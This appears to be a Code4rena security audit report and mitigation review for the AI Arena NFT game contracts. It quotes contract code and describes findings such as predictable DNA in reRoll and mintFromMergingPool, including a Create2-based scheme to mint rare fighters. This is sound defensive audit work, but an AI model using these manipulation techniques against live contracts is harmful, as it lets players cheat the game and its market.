Note: Please click on the image to enlarge it
Contract Details - MergingPool.sol ;
Note: Please click on the image to enlarge it
AiArenaHelper.sol
It functions as the AI Arena utility and enables the creation of physical attributes for a particular fighter.
State Variables
attributes
: List of attributes that fighters can have (e.g. “head”, “eyes”, etc.).defaultAttributeDivisor
: Default values of each attribute’s DNA dividers._ownerAddress
: Address of the contract owner.attributeProbabilities
: A mapping that keeps track of attribute probabilities for each generation.attributeToDnaDivisor
: A mapping that keeps track of the DNA dividers specific to each attribute.
Constructor
- When starting the contract, sets the trait probabilities for generation 0 and initializes the DNA splitter of each trait with default values.
External Functions
transferOwnership
: Transfers contract ownership to another address.addAttributeDivisor
: Adds or updates DNA dividers for each attribute.createPhysicalAttributes
: Creates a fighter’s physical attributes based on the given DNA, lineage, icon type and dendroid status.
Public Functions
addAttributeProbabilities
: Adds attribute probabilities for a given generation.deleteAttributeProbabilities
: Deletes attribute probabilities for a given generation.getAttributeProbabilities
: Returns attribute probabilities for a given generation and trait.dnaToIndex
: Converts the given DNA and its rarity into a trait probability index.
Architectural Summary
This contract is designed to manage the characteristics of fighters in the AI Arena. The contract contains complex logic used to create fighters’ physical attributes. It governs DNA splitters for each trait and trait probabilities that vary across generations.
Note: Please click on the image to enlarge it
-
Hard Coded Limitations: Within the
createPhysicalAttributes
function there are hard coded control structures for some attributes (e.g. special cases based oniconsType
values). This approach may limit the extensibility and flexibility of the contract.- Recommendation: Consider managing such controls through an external configuration or management mechanism to enable more dynamic management of features and behaviors.
-
Role Based Access Control: The contract authorizes the owner to perform administrative functions (e.g.
transferOwnership
,addAttributeDivisor
). However, this may not be enough for growing projects that may require more complex access control mechanisms.- Recommendation: Create a more flexible and secure role-based access control system using OpenZeppelin’s
AccessControl
contract.
- Recommendation: Create a more flexible and secure role-based access control system using OpenZeppelin’s
-
Data Validation: Validating input data is important, especially when it comes to outsourced parameters. Functions such as
addAttributeProbabilities
andaddAttributeDivisor
check input lengths, but more extensive validations may be required.- Recommendation: Add comprehensive validation mechanisms to ensure accuracy and validity of input data.
GameItems.sol
This contract provides management of in-game items for AI Arena. It supports multiple token types using the ERC1155 standard.
-
DoS by Block Gas Limit: The
mint
function, especially in combination with thefiniteSupply
control and thedailyAllowance
control, performs multiple operations in a loop. If these transactions consume too much gas, the block may reach its gas limit and cause transactions to fail.- Recommendation: Limit the maximum amount users can mint at once or optimize transactions to reduce gas usage.
-
Unchecked External Call Return Values: The return value of the
_neuronInstance.transferFrom
call is not checked in themint
function. This could cause the transaction to fail silently if the transfer fails.- Recommendation: Check the return value of the ERC20
transferFrom
function and throw an appropriate error message if the operation fails.
- Recommendation: Check the return value of the ERC20
-
Magic Strings and Numbers: “Magic strings” and “magic numbers” are used in many places in the contract, especially in URI management and time intervals.
- Recommendation: Make the code easier to read and maintain by replacing magic numbers and strings with constants.
-
Role-Based Access Control (RBAC): Managing roles such as
isAdmin
andallowedBurningAddresses
may require more complex access control mechanisms.- Recommendation: Provide more flexible and secure role-based access control using OpenZeppelin’s
AccessControl
contract.
- Recommendation: Provide more flexible and secure role-based access control using OpenZeppelin’s
Note: Please click on the image to enlarge it
/// @notice Returns the URI where the contract metadata is stored.
/// @return URI where the contract metadata is stored.
function contractURI() public pure returns (string memory) {
return "ipfs://bafybeih3witscmml3padf4qxbea5jh4rl2xp67aydqvqsxmyuzipwtpnii";
}
function return value;
{
"name": "AI Arena Game Items",
"description": "In-game items to be used while playing AI Arena",
"image": "https://ipfs.fleek.co/ipfs/bafybeic3p46ben4yqgwikt5bnz4qmqasbmrnnd6jrgamth7jk47xjwfq7q",
"external_link": "https://gaming.aiarena.io/",
"seller_fee_basis_points": 800,
"fee_recipient": "0xd82F671a08DBb96Fff1334EE7992ce2E1A219c7C"
}
Both IPFS and Arweave store data immutably, but Arweave guarantees permanent storage with a one-time fee.
IPFS (InterPlanetary File System) and Arweave offer decentralized file storage solutions, but with key differences and security benefits that vary depending on use cases. The importance of using Arweave from a security perspective is particularly evident in persistent storage and data integrity issues.
Security Benefits of Arweave
- Persistent Storage: Arweave permanently stores data in a structure called a “block mesh”. This means that once uploaded to Arweave, it is not possible for data to be deleted or lost. This feature provides a significant security benefit for data that must not be deleted or altered, such as copyright material, legal documents, or historical records.
- Data Integrity: Arweave guarantees data integrity by using the hash value of each stored item. This means that stored data cannot be modified or corrupted over time. Users can be assured that the data they store is original and will remain unchanged.
- Economic Incentives: Arweave offers economic incentives for data storage and access. Payment is made for storing data, and this payment guarantees that the data is permanently stored on the network. This solves the problem that data encountered in IPFS can be lost over time, because in IPFS nodes must actively host and pin data for data to remain constantly accessible.
- Greater Security and Durability: Arweave’s persistent storage model offers an extra layer of protection against data being censored or altered. This is especially important in situations where censorship or data manipulation is a concern.
To Compare
- IPFS stores and shares data in a decentralized manner, but nodes must actively host that data for it to remain constantly accessible. Extra steps (e.g. using pinning services) may be required to permanently store data in IPFS.
- Arweave differs from IPFS in storing data persistently and providing high data integrity. Arweave guarantees that once you store data, it will be retained forever.
As a result, Arweave’s security relevance is particularly evident in areas such as persistent storage, data integrity, and censorship resistance.
Test analysis
What did the project do differently?
- It can be said that the developers of the project did a quality job, there is a test structure consisting of tests with quality content.
Test Coverage and Depth
- Wide Function Testing: Test files cover many parts of your contracts (%90 Coverage). This means you check if every part of your system works in different situations.
- Both Good and Bad Scenarios: Test files look at both when things go right and when they should fail and give an error. This makes sure your contracts can handle unexpected situations well.
Testing Strategies and Approaches
- Looking at Edge Cases: Test files think about special or extreme situations to make sure your contracts can handle them.
- Focus on Security: Tests like
RankedBattleTest
check important parts of your contracts to keep them safe. This is very important for smart contracts. - Testing How Things Work Together: Test files also see how different contracts work with each other. This shows that your whole project works well as one system.
What could they have done better?
- If we look at the test scope and content of the project with a systematic checklist, we can see which parts are good and which areas have room for improvement As a result of my analysis, those marked in green are the ones that the project has fully achieved. The remaining areas are the development areas of the project in terms of testing ;
Ref: https://xin-xia.github.io/publication/icse194.pdf
- Overall line coverage percentage provided by your tests : 90 (As a generally accepted safety rule, 100% test coverage is recommended)
- Test Tools/Technologies analysis of the project;
Security Approach of the Project
Successful current security understanding of the project;
- They manage the 1nd audit process with an innovative audit such as Code4rena, in which many auditors examine the codes.
What the project should add in the understanding of Security;
- By distributing the project to testnets, ensuring that the audits are carried out in onchain audit. (This will increase coverage)
- After the project is published on the mainnet, there should be emergency action plans (not found in the documents)
- Add On-Chain Monitoring System; If On-Chain Monitoring systems such as Forta are added to the project, its security will increase.
For example ; This bot tracks any DEFI transactions in which wrapping, unwrapping, swapping, depositing, or withdrawals occur over a threshold amount. If transactions occur with unusually high token amounts, the bot sends out an alert. https://app.forta.network/bot/0x7f9afc392329ed5a473bcf304565adf9c2588ba4bc060f7d215519005b8303e3
- After the Code4rena audit is completed and the project is live, I recommend the audit process to continue, projects like immunefi do this. https://immunefi.com/
- Emergency Action Plan In a high-level security approach, there should be a crisis handbook like the one below and the strategic members of the project should be trained on this subject and drills should be carried out. Naturally, this information and road plan will not be available to the public. https://docs.google.com/document/u/0/d/1DaAiuGFkMEMMiIuvqhePL5aDFGHJ9Ya6D04rdaldqC0/mobilebasic#h.27dmpkyp2k1z
- ChainAnalysis oracle With the ChainAnalysis oracle, OFAC interaction can be blocked so that legal issues do not arise
- We also recommend that you have an “Economic Audit” for projects based on such complex mathematics and economic models. An example Economic Audit is provided in the link below; Economic Audit with Three Sigma
- As the project team, you can consider applying the multi-stage audit model.
Read more about the MPA model;
https://mpa.solodit.xyz/
- I recommend having a masterplan applied to project team members (This information is not included in the documents). All authorizations, including NPM passwords and authorizations, should be reserved only for current employees. I also recommend that a definitive security constitution project be found for employees to protect these passwords with rules such as 2FA. The LEDGER hack, which has made a big impact recently, is the best example in this regard;
https://twitter.com/Ledger/status/1735326240658100414?t=UAuzoir9uliXplerqP-Ing&s=19
- Another security approach I can recommend is 0xDjango’s security approaches in a project. This approach divides security into layers (Test, Automatic Tool, Individual Audit, Corporate Audit, Economic Audit) and aims to have each part done separately by experts in the field. I can also recommend this approach to you;
https://x.com/0xDjangoOnChain/status/1748402771684909094?s=20
Other Audit Reports and Automated Findings
Automated Findings: https://github.com/code-423n4/2024-02-ai-arena/blob/main/bot-report.md
The Automated analysis identifies several security-related issues, such as potential Denial of Service (DOS) attacks through unbounded loops ([M-01
], [L-05
]), lack of proper validation for array lengths ([L-06
]), and the absence of checks for null addresses ([L-07
], [L-12
]). Addressing these issues is crucial for preventing attacks that could compromise contract integrity and user assets.
Centralization Risk
Owner Role
- Single Point Failure Risk: If the private key under the control of
_ownerAddress
is compromised or lost, the entire system is compromised. - Risk of Abuse of Authority: The contract owner may abuse his powers, for example, arbitrarily transfer funds or change roles in the system.
Code Pattern Used
By using require(msg.sender == _ownerAddress);
it follows a pattern that ensures that certain functions can only be called by the contract owner. This indicates a centralized management model.
Suggestions
- Multisig Mechanism: A multi-signature mechanism can be used that shares the powers of the contract owner among more than one address. This reduces the risk of a single point of failure and prevents abuse of authority.
- Transition to DAO Structure: Moving project management and decision-making processes to a DAO (Decentralized Autonomous Organization) structure gives community members more say and reduces centralization.
- Time Lock and Escalation Mechanisms: A time lock mechanism can be implemented so that critical functions can be called. This prevents sudden changes and gives the community a chance to review upgrades and changes.
Packages and Dependencies Analysis 📦
Package | Version | Usage in the project | Audit Recommendation |
---|---|---|---|
openzeppelin |
A lot of OZ contracts | - Version 4.7.3 is used by the project, it is recommended to use the newest version 5.0.1 |
Other recommendations
✅ The use of assembly in project codes is very low, I especially recommend using such useful and gas-optimized code patterns; https://github.com/dragonfly-xyz/useful-solidity-patterns/tree/main/patterns/assembly-tricks-1
✅ A good model can be used to systematically assess the risk of the project, for example this modeling is recommended; https://www.notion.so/Smart-Contract-Risk-Assessment-3b067bc099ce4c31a35ef28b011b92ff#7770b3b385444779bf11e677f16e101e
✅ All staff accounts for the project should have control policies that require 2FA and must use 2FA wherever possible.
- 100% comprehensive security cannot be achieved based on smart contract codes alone.
- Implement a more comprehensive policy to enforce non-SMS 2FA.
- You can find the latest Simswap attack on Code4rena and details about it in this article.
✅ I recommend you to set up a system.sol
basic architecture where all contracts are registered.
- The entire system can revolve around a single contract, like SystemRegistry. This is the contract that ties all the other contracts together, and from this contract we should be able to list all the other contracts in the system. It’s almost like a registry.
✅ Analyze the gas usage of each function under various conditions in tests to ensure efficiency and identify potential optimizations.
Time spent:
24 hours
brandinho (AI Arena) acknowledged:
Most comprehensive analysis out of all I’ve seen, though there is room for improvement in the signal to noise ratio.
Mitigation Review
Introduction
Following the C4 audit, 3 wardens (d3e4, fnanni, and niser93) reviewed the mitigations for all identified issues. Additional details can be found within the C4 AI Arena Mitigation Review repository.
Overview of Changes
- Fixed issues with tokenId restrictions: There was an issue when re-rolling for fighters with token IDs greater than 255 which has been addressed.
- Override fixes in safeTransferFrom
- DNA generation fixes: Issues in the generation process during minting from the merging pool and in the re-roll and claim functions have been fixed.
- Non-transferable GameItems fix: There was a bug that allowed non-transferable game items to be transferred, which has been fixed.
- Mitigation of reentrancy in claimRewards: Reentrancy attack was mitigated.
- Uninitialized numElements variable: An uninitialized variable numElements was fixed.
- ECRecover vulnerability: A known vulnerability with ECRecover was addressed.
- Update to ranking and staking mechanisms: There were fixes to staking requirements and an update to ranked battle contracts.
Areas of specific concern would be:
- Reentrancy vulnerabilities.
- Signature malleability in ECRecover.
- Non-transferable items being transferred.
Mitigation Review Scope
Branch
Mitigations of High & Medium Severity Issues
URL | Mitigation of | Original Issue | Purpose |
---|---|---|---|
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/2 | H-01 | #739 | Fixed safeTransferFrom override with data |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/4 | H-02 | #575 | fixed Non-transferable GameItems being transferred with GameItems::safeBatchTransferFrom |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/10 | H-03 | #366 | Mitigation for Players have complete freedom to customize the fighter NFT when calling redeemMintPass and can redeem fighters of types Dendroid and with rare attributes |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/17/ | H-04 | #306 | |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/1 | H-06 | #68 | Fixed reRoll for fighters with tokenIds greater than 255 |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/7 | H-07 | #45 | |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/6 | H-08 | #37 | |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/16 | M-03 | #932 | |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/12 | M-04 | #868 | Mitigation for DoS in MergingPool::claimRewards function and potential DoS in RankedBattle::claimNRN function if called after a significant amount of rounds passed. |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/11 & https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/3 | M-05 | #1017 & #578 | Updated dna generation in reRoll and updated dna generation in claimFighters. Also, fixed dna generation in mintFromMergingPool. |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/9 | M-06 | #137 | Mititgation for NFTs can be transferred even if StakeAtRisk remains, so the user’s win cannot be recorded on the chain due to underflow, and can recover past losses that can’t be recovered(steal protocol’s token) |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/18 | M-08 | #47 |
Additional scope to be reviewed
These are additional changes in scope for the mitigation review.
URL | Reference ID | Original Issue | Purpose |
---|---|---|---|
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/5 | ADD-01 | #48 | Mitigated claimRewards reentrancy, fixed uninitialized numElements and fixed points intialization to match maxId |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/8 | ADD-02 | #507 | Fixed Ecrecover is known to be vulnerable to signature malleability |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/13 | ADD-03 | #704 | Mititgated QA Report for #704 |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/14 | ADD-04 | #1490 | Mitigated unstakeNRN and setNewRound and mint upto MAX_SUPPLY |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/15 | ADD-05 | N/A | Admin setup function and new require conditions for staking and unstaking. Unstaking require correction |
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/16/commits/d81beee0df9c5465fe3ae954ce41300a9dd60b7f | ADD-06 | N/A | Mitigation for gas intensive setUpAirdrop function and airdrop mechanism. Missing finalized test for new airdrop mechanism but working Airdrop script based on merkle root and proof. |
Mitigation Review Summary
During the mitigation review, the wardens determined that 4 in-scope findings were not fully mitigated, from the original audit. They also surfaced several new issues (5 Medium severity and 1 Low severity/Non-critical). The table below provides details regarding the status of each vulnerability from the original audit that was in-scope for the mitigation review, followed by full details on the new issues and any in-scope vulnerabilities that were not fully mitigated.
Original Issue | Status of Original Issue | Full Details |
---|---|---|
H-01 | 🟢 Mitigation Confirmed | Reports from niser93, d3e4, and fnanni |
H-02 | 🟢 Mitigation Confirmed | Reports from niser93, d3e4, and fnanni |
H-03 | 🟢 Mitigation Confirmed | Reports from niser93 and fnanni |
H-04 | 🟢 Mitigation Confirmed | Reports from niser93, d3e4, and fnanni |
H-06 | 🟢 Mitigation Confirmed | Reports from niser93, d3e4, and fnanni |
H-07 | 🟢 Mitigation Confirmed | Reports from niser93, d3e4, and fnanni |
H-08 | 🟢 Mitigation Confirmed | Reports from niser93, d3e4, and fnanni |
M-03 | 🔴 Unmitigated | Reports from fnanni and niser93 (1, 2) - details also shared below |
M-04 | 🟢 Mitigation Confirmed | Reports from niser93, fnanni, and d3e4 |
M-05 | 🔴 Unmitigated | Reports from fnanni, niser93 (1, 2), and d3e4 (1, 2, 3) - details also shared below |
M-06 | 🔴 Unmitigated | Report from d3e4 - details also shared below |
M-08 | 🔴 Unmitigated | Report from d3e4 - details also shared below |
ADD-01 | 🟢 Mitigation Confirmed | Reports from niser93 and fnanni |
ADD-02 | 🟢 Mitigation Confirmed | Reports from d3e4, fnanni, and niser93 |
ADD-03 | 🟢 Mitigation Confirmed | Reports from fnanni and niser93 |
ADD-04 | 🟢 Mitigation Confirmed | Reports from niser93 and fnanni |
ADD-05 | 🟢 Mitigation Confirmed | Reports from fnanni and niser93 |
ADD-06 | 🟢 Mitigation Confirmed | Reports from fnanni and niser93 |
FighterFarm.reRoll()
method works wrong and allows minting wanted attributes
Submitted by niser93, also found by fnanni
Severity: Medium
Related to the mitigation of: M-05 and its duplicates.
Each fighter
has a specific number of max reRolls, according to fighterType
. This means that the owner of the fighter
can call FighterFarm.reRoll()
at most maxRerollsAllowed
times, in order to obtain better fighter’s attributes.
We want to underline three aspects:
FighterFarm.reRoll()
operation has a cost in NRNnumRerolls
of a specificfighter
is not reset when it is transfereddna
is the only value used to computefighter
’s traits. After mitigation,dna
depends just ontokenId
andnumRerolls[tokenId]
Because the reasons above, the owner of a fighter
can always forecast what is the best number of reRolls
.
So, a cunning player should always improve its fighter
’s traits using the right number of reRolls
. For this reason, we could expect that all fighters
will be reRolled until they reach the best number of reRolls
.
Furthermore, a malicious player can wait for the right tokenId
which can be used in reRoll
operation to obtain a very rare fighter.
Remaining reRolls of a fighter don’t increase its value
We asked in a private thread a clarification on the FighterFarm.reRoll()
mechanism. This was the answer:
I: I've another question on reRoll method. A fighter can be reRolled several times.
The limit is the MasRerollsAllowed value. When a fighter is transferred from a player to other,
the numRerolls value is not reset. This means that the onwer can't reRoll the receive fighter, if
the previous owner used all roll changes. Also this is a wanted behavior?
Dev: Yes this is intended. You can think of this as someone potentially paying a premium for an NFT that has
more reRolls remaining. They should be intrinsically more valuable since they have more optionality.
While this was true before the mitigation, now the dna
doesn’t depend on msg.sender
anymore. This means that the outcomes of reRoll
operations made by the seller is the same of the outcomes obtained by the buyer. If they are both cunning players, they know before the transfer if that fighter
would improve using FighterFarm.reRoll()
operation or not.
We want to underline that this mechanism strongly changes after the mitigation. As long as the outcome of reRoll
operation depended on msg.sender
, buying a fighter
with remaining reRoll
operations made sense, because buyer reRoll
operations would have different outcome then the seller ones.
After mitigation, seller and buyer can reach the same rare attributes. They both should be aware on the best outcome of reRoll
operation. If not, it could happen because one or both of them are not cunning: the transfer could be not fair, impacting the game and the market.
So, after mitigation, the reRoll
operation appears as a pretense to pay NRNs. Its initial aim is lost.
The only right thing to do is to reach the best numRerolls
for each fighter
As we said above, remaining reRolls of a fighter don’t increase its market value. So, why a player should decide to not perform reRoll
operations until reaching the best attributes combination? In this way, each player is forced to use NRNs to reach the best combination, because it doens’t make sense to have a non-optimal fighter
: it hasn’t more market value and it can become a better fighter
for sure.
A malicious player could wait the right tokenId
to mint its fighter
and reRoll
it
A malicious player could wait to redeem his/her mint pass until he can obtain the wanted tokenId
. This can be done because that player has foreseen that the wanted tokenId
combined with a specific numRerolls
permit obtaining a very rare fighter
.
Conclusion
Now, the reRoll
operation seems useless. It can be used only to have different battle traits (weight and element). So we propose reRoll
modifies just the battle attributes.
If somebody would sell his/her fighter
, remaining numRerolls
doesn’t influence the fighter
value. Before mitigation, there was the possibility that a new player with the right msg.sender
would obtain better attrbutes for a fighter
. Now, all players can obtain the same and foreseenable outcome from reRoll
operations. Furthermore, now malicious players have the possibility to precompute dna
despite their msg.sender
and thus they can create fighter
with wanted rare attributes.
Proof of concept
This is the mitigated FighterFarm.reRoll() operation:
/// @notice Rolls a new fighter with random traits.
/// @param tokenId ID of the fighter being re-rolled.
/// @param fighterType The fighter type.
function reRoll(uint256 tokenId, uint8 fighterType) public {
require(msg.sender == ownerOf(tokenId));
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
_neuronInstance.approveSpender(msg.sender, rerollCost);
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
if (success) {
numRerolls[tokenId] += 1;
uint256 dna = uint256(keccak256(abi.encode(tokenId, numRerolls[tokenId])));
(uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
fighters[tokenId].element = element;
fighters[tokenId].weight = weight;
fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
generation[fighterType],
fighters[tokenId].iconsType,
fighters[tokenId].dendroidBool
);
_tokenURIs[tokenId] = "";
}
}
The dna
is computed at line FighterFarm.sol#L424:
uint256 dna = uint256(keccak256(abi.encode(tokenId, numRerolls[tokenId])));
It depends just on tokenId
, which never change, and numRerolls[tokenId]
, which can change only using FighterFarm.reRoll()
operation.
Let’s maxRerollsAllowed[fighterType] = 10
. This means this fighter can be rerolled 10 times. We can forecast the dna
results for each of 10 reroll operations. For example, we forecast that the 5th reRolled
operation will reach the best attributes combination. So, we know before the first reRoll
operation that it not makes sense to perform more than 5 reRolls
.
If this fighter
can not reach a good attributes combination, we could try to sell it, hoping we find a naive buyer, with all numRerolls
available. On the other hand, if this fighter
can reach a good attributes combination, we could make 5 reRolls
, obtain the optimal attributes combination and use it in battles; or we could sell it, even before use 5 reRolls
, because the reachable optimal attributes combination can be forecast by everyone, and it becomes an intrinsic value of the fighter
Recommended Mitigation Steps
The issue relies on the pseudorandom mechanism. It is impossible to build a pseudorandom public mechanism that can’t be forecasted. Before the mitigation, an external source could be exploited to obtain the wanted reRoll
outcomes. Now, the best outcome is intrinsic in fighter
. Furthermore, a malicious player could still exploit the tokenId
to obtain the wanted reRoll
. We strongly suggest to use an external oracle or to add block.timestamp
to the computation of dna
, to make a bit harder to forecast outcome attributes.
Element and weight correlation when numElements
is multiple of 31
Submitted by d3e4
Severity: Medium
When numElements
is a multiple of 31 the DNA only generates 1/31 of all intended combinations of element
and weight
.
Proof of Concept
numElements
maps to a uint8, i.e up to 255.
In FighterFarm._createFighterBase()
element
and weight
are set as
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
This means that if numElements[generation[fighterType]]
is multiple of 31
, say k*31
then only k*31
different combinations are possible instead of k*31 * 31
, since (n + k*31) % (k*31) == (n + k*31) % 31
.
Recommended Mitigation Steps
Divide by the first mod to extract multiple smaller random numbers from one big random number.
uint256 weight = dna % 31 + 65;
dna = dna/31;
uint256 element = dna % numElements[generation[fighterType]];
True, n will be [0,31].
brandinho (AI Arena) commented:
The number of elements will never be 31. Our current plans in fact are for less than 10, but if we’re really pushing it then it might go as high as 16. We just used
uint8
because it’s the smallestuint
that we’re able to use. As such, this is not actually a risk to our project.
Yep, if you do not use more than 30 elements, then of course this issue will not be triggered. But the max of uint8 is 255, here has never been a maximum value check in the code. Moreover, the issue related to the value 31 also appeared in the original contest such as issue 1456 and issue 1979. No comments have ever mentioned this condition. In summary, this condition is neither in the code context nor in the context of this contest.
Players can exploit mintFromMergingPool
dna calculation to mint rare fighter
Submitted by niser93, also found by d3e4
Severity: Medium
Related to the mitigation of: M-05 and its duplicates.
Specifically, this is strongly related to issue #1017 - Users can get benefited from DNA pseudorandomly calculation.
It describes 4 impacts:
- DNA malipulation in FighterFarm.reRoll(). It was mitigated in #16.
- DNA manipulation in FighterFarm.mintFromMergingPool()
- DNA malipulation in FighterFarm.redeemMintPass(). It was mitigated in #10.
- DNA malipulation in FighterFarm.claimFighters(). It was mitigated in #11.
We want to focus on 2. In issue #1017, it is reported:
In this case, the DNA is computed by the msg.sender (in this case will always be the \_mergingPoolAddress so it is not manipulable) and the number of existing fighters.
In this function a user can not manipulate the output hash, however, he can compute the hash for the upcoming fighters, because when a new fighter will be created, the fighters.length will change along with the output hash. As a result, a user can claim the MergingPool reward to mint and NFT when the output hash will be benefitial for him.
So, before mitigation, a user can not manipulate the output hash
, but can claim the MergingPool reward to mint and NFT when the output hash will be benefitial for him
.
Attempted mitigation was made in #3:
@@ -321,7 +321,7 @@ contract FighterFarm is ERC721, ERC721Enumerable {
require(msg.sender == _mergingPoolAddress);
_createNewFighter(
to,
- uint256(keccak256(abi.encode(msg.sender, fighters.length))),
+ uint256(keccak256(abi.encode(to, fighters.length))),
modelHash,
modelType,
0,
We think that this mitigation doesn’t solve the issue. Furthermore, it introduces a new vulnerability. Now, the user can manipulate the output hash
, because it depends on the to
address, which can be manipulated by the user.
Proof of Concept
The PoC of this issue is similar to the ones in #53 and #519.
After mitigation, the attributes of the fighter obtained using the FighterFarm.mintFromMergingPool() depends on two parameters:
/// @notice Mints a new fighter from the merging pool.
/// @dev Only the merging pool contract address is authorized to call this function.
/// @param to The address that the new fighter will be assigned to.
/// @param modelHash The hash of the ML model associated with the fighter.
/// @param modelType The type of the ML model associated with the fighter.
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function mintFromMergingPool(
address to,
string calldata modelHash,
string calldata modelType,
uint256[2] calldata customAttributes
)
public
{
require(msg.sender == _mergingPoolAddress);
_createNewFighter(
to,
uint256(keccak256(abi.encode(to, fighters.length))),
modelHash,
modelType,
0,
0,
customAttributes
);
}
The value passed to line L366 represents the dna
.
It depends on the to
address and the fighters.length
.
FighterFarm.mintFromMergingPool()
can be called successfully just by the contract at _mergingPoolAddress
, i.e., MergingPool.sol, using the MergingPool.claimRewards() method:
/// @notice Allows the user to batch claim rewards for multiple rounds.
/// @dev The user can only claim rewards once for each round.
/// @param modelURIs The array of model URIs corresponding to each round and winner address.
/// @param modelTypes The array of model types corresponding to each round and winner address.
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function claimRewards(
string[] calldata modelURIs,
string[] calldata modelTypes,
uint256[2][] calldata customAttributes,
uint32 totalRoundsToConsider
)
external nonReentrant
{
uint256 winnersLength;
uint32 claimIndex = 0;
uint32 lowerBound = numRoundsClaimed[msg.sender];
require(lowerBound + totalRoundsToConsider < roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
uint8 generation = _fighterFarmInstance.generation(0);
for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
numRoundsClaimed[msg.sender] += 1;
winnersLength = winnerAddresses[currentRound].length;
for (uint32 j = 0; j < winnersLength; j++) {
require(customAttributes[j][0] < _fighterFarmInstance.numElements(generation), "MergingPool: element out of bounds");
require(customAttributes[j][1] >= 65 && customAttributes[j][1] <= 95, "MergingPool: weight out of bounds");
if (msg.sender == winnerAddresses[currentRound][j]) {
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
claimIndex += 1;
}
}
}
if (claimIndex > 0) {
emit Claimed(msg.sender, claimIndex);
}
}
So, a player can mintFromMerginPool
only when he/she claims a reward after he/she wins a battle.
Let’s explain the attack vector. Before the next round, fighter.length = 0
. Eve was able to forecast that a very rare fighter can be minted using a specific address, called address_E
, and when fighter.length = 10
. She can do that because she can precompute the dna
value, and use AiArenaHelper.createPhysicalAttributes() to forecast the outcome attributes.
Using Create2, Eve can create a malicious contract at address address_E
. Then Eve mints a new fighter using, for example, a mint pass and tries to win the current round. If she manages to do that, she can use the contract at address address_E
to claim a reward at the current
round.
Assuming that after this round, fighter.length = 0
still holds. The malicious contract could implement a call to MergingPool.claimRewards()
that is called continuously and reverts until fighter.length = 10
.
In this way, Eve is sure to claim a reward with address_E
and fighter.length = 10
, and thus obtain the fighter with wanted characteristics.
Recommended Mitigation Steps
The problem relies on the usage of an external controlled input by a pseudorandom algorithm. We suggest introducing an oracle to obtain random input numbers, or at least to use block.timestamp
, to make harder to forecast when the fighter.length
reaches the wanted value:
/// @notice Mints a new fighter from the merging pool.
/// @dev Only the merging pool contract address is authorized to call this function.
/// @param to The address that the new fighter will be assigned to.
/// @param modelHash The hash of the ML model associated with the fighter.
/// @param modelType The type of the ML model associated with the fighter.
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function mintFromMergingPool(
address to,
string calldata modelHash,
string calldata modelType,
uint256[2] calldata customAttributes
)
public
{
require(msg.sender == _mergingPoolAddress);
_createNewFighter(
to,
- uint256(keccak256(abi.encode(to, fighters.length))),
+ uint256(keccak256(abi.encode(to, fighters.length, block.timestamp))),
modelHash,
modelType,
0,
0,
customAttributes
);
}
Issue Related to Unintentional Admin Configuration
Submitted by d3e4
Severity: Medium
Related to: ADD-05
Staking and unstaking is controlled in unison. If staking is possible during the battles, the only way to halt staking it is therefore to also halt unstaking. Users may thus stake during the battles and then suddenly not be able to unstake. It seems that if it was possible to stake during the battles it should always be possible to unstake again.
Contrast this with staking and unstaking outside of battles where users can be expected to make up their minds about how much they want to stake before the battles start, and then be committed to this stake (i.e. allowedStakingDuringRanked
remains false
).
Being allowed to stake during battles should be interpreted as an added opportunity for the user, with an added risk. The opportunity should not be possible to revoke without also allowing the user to withdraw from the added risk.
Consider not allowing a true
allowedStakingDuringRanked
be set to false
while rankedOpen == true
. This way the admin’s decision to allow staking during battles will always allow users to unstake until the end of the battles.
ronnyx2017 (judge) commented via issue #39:
Although warden’s description makes sense, I am more inclined to believe that this is the sponsor’s intentional design of timing control and economic model, rather than a bug.
Would like further review by sponsors.
brandinho (AI Arena) commented via issue #39:
This is a great point. We did not have the intention of allowing admins to change
allowedStakingDuringRanked
while ranked is open. But I think your recommendation of explicitly putting a require in there to prevent accidents is preferred, so we will also implement this recommendation.
ronnyx2017 (judge) commented via issue #39:
Based on the sponsor’s comments, we can classify the preconception condition of this issue as unintentional admin configuration. (Medium severity)
It’s not possible to claim MergingPool
rewards for the last round, only for rounds previous to it
Submitted by fnanni
Severity: Medium
Related to the mitigation of: M-04: DoS in MergingPool::claimRewards
function and potential DoS in RankedBattle::claimNRN
function if called after a significant amount of rounds passed
Previously, The MergingPool::claimRewards
function loop could exceed the block gas limit, potentially causing a DoS. This would happen if a user tried claiming their rewards after too many rounds had passed. Similarly, there was a risk of DoS in RankedBattle::claimNRN
for the same reason.
